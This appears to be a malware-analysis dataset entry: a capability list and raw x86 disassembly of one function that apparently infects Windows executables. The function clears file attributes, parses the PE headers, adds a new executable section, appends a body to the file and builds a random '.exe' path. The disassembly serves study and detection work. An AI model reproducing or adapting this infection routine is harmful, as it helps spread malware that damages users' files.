Function at 0x40aa07
Capabilities:
Enumerate pe sections
Parse pe header
Read file via mapping
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411200
push 0x40fc8a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0x398
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 0x380], 0
and dword [ebp - 0x384], 0
and dword [ebp - 0x3a8], 0
and dword [ebp - 0x308], 0
and dword [ebp - 0x3a4], 0
and dword [ebp - 0x310], 0
or dword [ebp - 0x388], 0xffffffff
and dword [ebp - 0x30c], 0
and dword [ebp - 0x3ac], 0
and dword [ebp - 0x304], 0
and dword [ebp - 0x354], 0
cmp dword [0x4169dc], 0
jne 0x40aa8d
call fcn.0040a884
and dword [ebp - 4], 0
push dword [ebp + 8]
call fcn.0040a958
cmp eax, 1
jne 0x40aaa3
jmp 0x40b1ca
push 0x80
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0xffffffff
jne 0x40aae0
jmp 0x40b1ca
push 0
lea eax, [ebp - 0x3a0]
push eax
push dword [ebp - 0x388]
call fcn.00402db5
push 2
push 0
push 0
push dword [ebp - 0x388]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x308], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 0x388]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x30c], eax
push 0x400
push 0
push 0
push 0xf001f
push dword [ebp - 0x30c]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0
je 0x40ab61
mov eax, dword [ebp - 0x380]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x40ab66
jmp 0x40b1ca
mov eax, dword [ebp - 0x380]
mov ecx, dword [ebp - 0x380]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x3ac], ecx
mov eax, dword [ebp - 0x3ac]
add eax, 0xf8
mov ecx, dword [ebp - 0x380]
add ecx, 0x400
cmp eax, ecx
ja 0x40aba6
mov eax, dword [ebp - 0x3ac]
movzx eax, word [eax]
cmp eax, 0x4550
je 0x40abab
jmp 0x40b1ca
mov eax, dword [ebp - 0x3ac]
cmp dword [eax + 0x98], 0
je 0x40abbf
jmp 0x40b1ca
push 2
push dword [ebp - 0x308]
push dword [ebp - 0x3ac]
call fcn.0040a659
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 0x304]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x304]
add eax, dword [ecx + 0x10]
cmp dword [ebp - 0x308], eax
jbe 0x40abf7
jmp 0x40b1ca
push 0
push dword [ebp - 0x308]
push dword [ebp - 0x3ac]
call fcn.0040a659
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 0x304]
add eax, 0x28
mov ecx, dword [ebp - 0x380]
add ecx, 0x400
cmp eax, ecx
jbe 0x40ac2e
jmp 0x40b1ca
mov eax, dword [ebp - 0x304]
cmp dword [eax + 0x24], 0xe0000020
jne 0x40ad4d
push 4
push dword [ebp - 0x304]
call fcn.004035d1
cmp eax, 1
jne 0x40ad4d
mov eax, dword [ebp - 0x304]
movzx eax, word [eax + 4]
mov ecx, dword [0x415930]
movzx ecx, word [ecx]
cmp eax, ecx
jl 0x40ac78
jmp 0x40b1ca
mov dword [ebp - 0x3a8], 1
mov eax, dword [ebp - 0x3ac]
mov ax, word [eax + 6]
sub ax, 1
mov ecx, dword [ebp - 0x3ac]
mov word [ecx + 6], ax
mov eax, dword [ebp - 0x3ac]
cmp dword [eax + 0x1c], 0
je 0x40acc1
mov eax, dword [ebp - 0x3ac]
mov ecx, dword [ebp - 0x304]
mov eax, dword [eax + 0x1c]
sub eax, dword [ecx + 0x10]
mov ecx, dword [ebp - 0x3ac]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0x3ac]
mov ecx, dword [ebp - 0x304]
mov ecx, dword [ecx]
mov dword [eax + 0x28], ecx
push 5
push dword [ebp - 0x3ac]
call fcn.004035d1
mov ecx, dword [ebp - 0x3ac]
mov dword [ecx + 0x28], eax
mov eax, dword [ebp - 0x304]
cmp dword [eax + 8], 0
jne 0x40ad21
mov eax, dword [ebp - 0x3ac]
push dword [eax + 0x38]
mov eax, dword [ebp - 0x304]
push dword [eax + 0x10]
call fcn.0040a621
mov ecx, dword [ebp - 0x3ac]
mov ecx, dword [ecx + 0x50]
sub ecx, eax
mov eax, dword [ebp - 0x3ac]
mov dword [eax + 0x50], ecx
jmp 0x40ad3c
mov eax, dword [ebp - 0x3ac]
mov ecx, dword [ebp - 0x304]
mov eax, dword [eax + 0x50]
sub eax, dword [ecx + 8]
mov ecx, dword [ebp - 0x3ac]
mov dword [ecx + 0x50], eax
push 0x400
push dword [ebp - 0x380]
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov eax, dword [ebp - 0x3ac]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x3a4], eax
mov eax, dword [ebp - 0x3ac]
movzx eax, word [eax + 6]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x3ac]
lea eax, [ecx + eax + 0xf8]
mov dword [ebp - 0x354], eax
mov eax, dword [ebp - 0x354]
add eax, 0x28
mov ecx, dword [ebp - 0x380]
add ecx, 0x400
cmp eax, ecx
jbe 0x40ad9a
jmp 0x40b1ca
cmp dword [ebp - 0x3a8], 0
jne 0x40adef
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x384], eax
and dword [ebp - 0x3b0], 0
jmp 0x40adc5
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0xa
jae 0x40adef
mov eax, dword [ebp - 0x384]
cmp dword [eax], 0
je 0x40adde
jmp 0x40b1ca
mov eax, dword [ebp - 0x384]
add eax, 4
mov dword [ebp - 0x384], eax
jmp 0x40adb8
push 5
push dword [ebp - 0x3ac]
call fcn.004035d1
mov ecx, dword [ebp - 0x354]
mov dword [ecx], eax
mov eax, dword [ebp - 0x354]
mov ecx, dword [0x415930]
mov cx, word [ecx]
mov word [eax + 4], cx
push 3
push dword [ebp - 0x354]
call fcn.004035d1
mov eax, dword [ebp - 0x3ac]
push dword [eax + 0x38]
mov eax, dword [0x413aec]
add eax, dword [0x4169a8]
push eax
call fcn.0040a621
mov ecx, dword [ebp - 0x354]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x3ac]
push dword [eax + 0x3c]
mov eax, dword [0x413aec]
add eax, dword [0x4169a8]
push eax
call fcn.0040a621
mov ecx, dword [ebp - 0x354]
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 0x354]
mov dword [eax + 0x24], 0xe0000020
push 1
push dword [ebp - 0x308]
push dword [ebp - 0x3ac]
call fcn.0040a659
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 0x3ac]
push dword [eax + 0x38]
mov eax, dword [ebp - 0x304]
push dword [eax + 8]
call fcn.0040a621
mov ecx, dword [ebp - 0x304]
add eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x354]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x304]
cmp dword [eax + 8], 0
jne 0x40aef8
mov eax, dword [ebp - 0x3ac]
push dword [eax + 0x38]
mov eax, dword [ebp - 0x304]
push dword [eax + 0x10]
call fcn.0040a621
mov ecx, dword [ebp - 0x304]
add eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x354]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x354]
and dword [eax + 8], 0
push 2
push dword [ebp - 0x308]
push dword [ebp - 0x3ac]
call fcn.0040a659
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 0x3ac]
push dword [eax + 0x3c]
mov eax, dword [ebp - 0x304]
push dword [eax + 0x10]
call fcn.0040a621
mov ecx, dword [ebp - 0x304]
add eax, dword [ecx + 0x14]
mov ecx, dword [ebp - 0x354]
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0x3ac]
and dword [eax + 0x58], 0
mov eax, dword [ebp - 0x3ac]
mov ax, word [eax + 6]
add ax, 1
mov ecx, dword [ebp - 0x3ac]
mov word [ecx + 6], ax
mov eax, dword [ebp - 0x3ac]
mov ecx, dword [ebp - 0x354]
mov ecx, dword [ecx + 0xc]
mov dword [eax + 0x28], ecx
mov eax, dword [ebp - 0x3ac]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x354]
add eax, dword [ecx + 8]
mov ecx, dword [ebp - 0x3ac]
mov dword [ecx + 0x50], eax
mov eax, dword [ebp - 0x354]
cmp dword [eax + 8], 0
jne 0x40afbe
mov eax, dword [ebp - 0x3ac]
push dword [eax + 0x38]
mov eax, dword [ebp - 0x354]
push dword [eax + 0x10]
call fcn.0040a621
mov ecx, dword [ebp - 0x3ac]
add eax, dword [ecx + 0x50]
mov ecx, dword [ebp - 0x3ac]
mov dword [ecx + 0x50], eax
mov eax, dword [ebp - 0x3ac]
cmp dword [eax + 0x1c], 0
je 0x40afe5
mov eax, dword [ebp - 0x3ac]
mov eax, dword [eax + 0x1c]
mov ecx, dword [ebp - 0x354]
add eax, dword [ecx + 0x10]
mov ecx, dword [ebp - 0x3ac]
mov dword [ecx + 0x1c], eax
push 0x28
push dword [ebp - 0x354]
lea eax, [ebp - 0x37c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x380]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
and dword [ebp - 0x380], 0
push dword [ebp - 0x30c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [ebp - 0x30c], 0
push dword [0x413aec]
push 0x413808
lea eax, [ebp - 0x300]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x370]
add eax, dword [0x413aec]
mov ecx, dword [ebp - 0x3a4]
sub ecx, eax
mov eax, dword [0x4169dc]
mov dword [ebp + eax - 0x300], ecx
push 0x40
push 0
lea eax, [ebp - 0x350]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.0040246e
push eax
push str._.8x
lea eax, [ebp - 0x350]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [0x4169e0]
mov dword [ebp + eax - 0x300], 0x5c3a43
mov eax, dword [0x4169e0]
mov cl, byte [ebp - 0x350]
mov byte [ebp + eax - 0x2fd], cl
mov eax, dword [0x4169e4]
mov ecx, dword [ebp - 0x34f]
mov dword [ebp + eax - 0x300], ecx
mov eax, dword [0x4169e8]
mov ecx, dword [ebp - 0x34b]
mov dword [ebp + eax - 0x300], ecx
mov eax, dword [0x4169e8]
mov byte [ebp + eax - 0x2fd], 0x2e
mov eax, dword [0x4169ec]
mov dword [ebp + eax - 0x300], 0x657865
call fcn.0040246e
mov ecx, dword [0x413aec]
mov dword [ebp + ecx - 0x304], eax
mov eax, dword [0x413aec]
mov ecx, dword [0x413aec]
mov ecx, dword [ebp + ecx - 0x304]
mov dword [ebp + eax - 0x307], ecx
push 2
push 0
mov eax, dword [ebp - 0x368]
sub eax, dword [ebp - 0x308]
add eax, dword [ebp - 0x36c]
push eax
push dword [ebp - 0x388]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp - 0x388]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 2
push 0
xor eax, eax
sub eax, dword [ebp - 0x36c]
push eax
push dword [ebp - 0x388]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x310]
push eax
push dword [0x413aec]
lea eax, [ebp - 0x300]
push eax
push dword [ebp - 0x388]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x310]
push eax
push dword [0x4169a8]
push dword [0x4169a4]
push dword [ebp - 0x388]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
lea eax, [ebp - 0x3a0]
push eax
push dword [ebp - 0x388]
call fcn.00402db5
push dword [ebp - 0x388]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 0x388], 0xffffffff
cmp dword [ebp - 0x380], 0
je 0x40b1df
push dword [ebp - 0x380]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 0x30c], 0
je 0x40b1f4
push dword [ebp - 0x30c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x388], 0xffffffff
je 0x40b209
push dword [ebp - 0x388]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
jmp 0x40b259
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4